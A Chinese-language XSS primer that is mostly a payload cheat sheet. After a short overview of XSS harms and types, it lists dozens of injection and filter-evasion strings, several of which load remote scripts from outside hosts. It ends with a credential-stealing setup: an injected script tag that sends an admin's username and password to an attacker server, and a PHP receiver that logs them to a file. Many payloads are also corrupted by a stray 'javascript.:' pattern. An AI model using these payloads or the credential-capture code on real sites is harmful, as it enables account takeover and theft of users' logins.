XSS(Cross-Site Scripting,跨站脚本攻击)是一种代码注入攻击。攻击者在目标网站上注入恶意代码，当用户(被攻击者)登录网站时就会执行这些恶意代码，通过这些脚本可以读取cookie,session tokens，或者网站其他敏感的网站信息，对用户进行钓鱼欺诈。
XSS危害
- 盗取各类用户账号，如机器登录账号，用户网银账号，各类管理员账号
- 控制企业数据，包括增、删、改、查企业敏感数据的能力
- 盗窃企业重要的具有商业价值的材料
- 非法转账
- 强制发送电子邮件
- 网站挂马
- 控制受害者机器向其他网站发起攻击
- ddos攻击
XSS漏洞类型
- 反射型：直接将js代码附在url中，把url发送给指定的用户。引诱其点击。
- 存储型：把js代码通过后端漏洞，存入数据库中，由于页面在接受服务器返回响应中存在从数据库中取出的js代码，造成访问该页面的所有用户被攻击。
- DOM型：是一种特殊的反射型XSS，基于DOM文档对象类型的一种漏洞
# javascript属性
document.referer
window.name
location
innerHTML
documen.writeXSS常用语句
<script>alert('hello，gaga!');</script> //经典语句，哈哈！
>"'><img src="javascript.:alert('XSS')">
>"'><script>alert('XSS')</script>
<table background='javascript.:alert(([code])'></table>
<object type=text/html data='javascript.:alert(([code]);'></object>
"+alert('XSS')+"
'><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
<script>alert('Vulnerable')</script>
a.jsp/<script>alert('Vulnerable')</script>
"><script>alert('Vulnerable')</script>
<IMG SRC="javascript.:alert('XSS');">
<IMG src="/javascript.:alert"('XSS')>
<IMG src="/JaVaScRiPt.:alert"('XSS')>
<IMG src="/JaVaScRiPt.:alert"("XSS")>
<IMG SRC="jav	ascript.:alert('XSS');">
<IMG SRC="jav
ascript.:alert('XSS');">
<IMG SRC="jav
ascript.:alert('XSS');">
"<IMG src="/java"\0script.:alert(\"XSS\")>";'>out
<IMG SRC=" javascript.:alert('XSS');">
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND="javascript.:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="javascript.:alert('XSS')">
<IMG LOWSRC="javascript.:alert('XSS')">
<BGSOUND SRC="javascript.:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet"HREF="javascript.:alert('XSS');">
<IMG SRC='vbscript.:msgbox("XSS")'>
<META. HTTP-EQUIV="refresh"CONTENT="0;url=javascript.:alert('XSS');">
<IFRAME. src="/javascript.:alert"('XSS')></IFRAME>
<FRAMESET><FRAME. src="/javascript.:alert"('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="javascript.:alert('XSS')">
<DIV STYLE="background-image: url(javascript.:alert('XSS'))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
<STYLE. TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE. TYPE="text/css">.XSS{background-image:url("javascript.:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE. type="text/css">BODY{background:url("javascript.:alert('XSS')")}</STYLE>
<BASE HREF="javascript.:alert('XSS');//">
getURL("javascript.:alert('XSS')")
a="get";b="URL";c="javascript.:";d="alert('XSS');";eval(a+b+c+d);
<XML SRC="javascript.:alert('XSS');">
"> <BODY NLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
<SCRIPT. SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
<IMG SRC="javascript.:alert('XSS')"
<SCRIPT. a=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT.=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT. a=">"''SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT."a='>'"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PTSRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>XSS抓取明文密码（权限维持）
JavaScript
$up = '<script src="http://vps/get.php?user='.$metinfo_admin_name.'&pass='.$metinfo_admin_pass.'"></script>';
echo $up;PHP
<?php
$u = $_GET['user'];
$p = $_GET['pass'];
$myfile = fopen("newfile.txt","w+");
fwrite($myfile, $u);
fwrite($myfile, '::');
fwrite($myfile, $p);
fwrite($myfile, '\n');
fclose($myfile);
?>